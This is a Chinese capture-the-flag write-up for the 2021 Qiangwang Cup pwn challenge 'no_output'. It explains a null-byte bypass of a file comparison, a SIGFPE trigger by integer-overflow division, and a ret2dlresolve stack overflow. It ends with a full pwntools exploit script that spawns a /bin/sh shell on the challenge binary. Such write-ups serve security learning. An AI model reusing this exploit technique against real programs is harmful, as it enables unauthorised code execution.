2021 强网杯 [强网先锋] no_output

在这里插入图片描述保护

在这里插入图片描述
你的输入会跟打开的文件里面的字符串进行比较,比较成功才会进入下一步。

在这里插入图片描述
但是我们发现上面用了一个strcpy函数,这个函数会用’\x00’结尾,我们可以再上面让dest的后面一个字节为’\x00’,那个地方刚好是文件符的位置,就可以绕开比较。

在这里插入图片描述
绕开比较进入函数之后是一个signal,必须触发这个signal8才能进入最后的函数。

signal8是浮点例外。在发生致命的算术运算错误时发出. 不仅包括浮点运算错误, 还包括溢出及除数为0等其它所有的算术的错误。

不能除0,就构造溢出。

用-2147483648除-1,来触发。

在这里插入图片描述

给了个溢出,只有一次溢出,got表也是半开,所以我们直接想到用ret2dl。

exp

# -*- coding: utf-8 -*-
from pwn import *

context.log_level = "debug"

r = process("./test")

rop = ROP("./test")
elf = ELF("./test")

r.send("\x00")
raw_input(">")
r.send('A'*0x20)
raw_input(">")
r.send("hello_boy\x00")
raw_input(">")
r.sendline("-2147483648")
raw_input(">")
r.sendline("-1")
raw_input(">")
#raw_input是一个输入函数,也可以直接sleep

dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
#用的是pwntools的模板

info(rop.dump()) #查看rop信息

raw_input(">")
r.sendline(fit({0x4C: rop.chain(), 0x100: dlresolve.payload}))
#0x4c是写入rop链的地方,0x100是read读入的大小。
#fit就是填充一下

r.interactive()
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值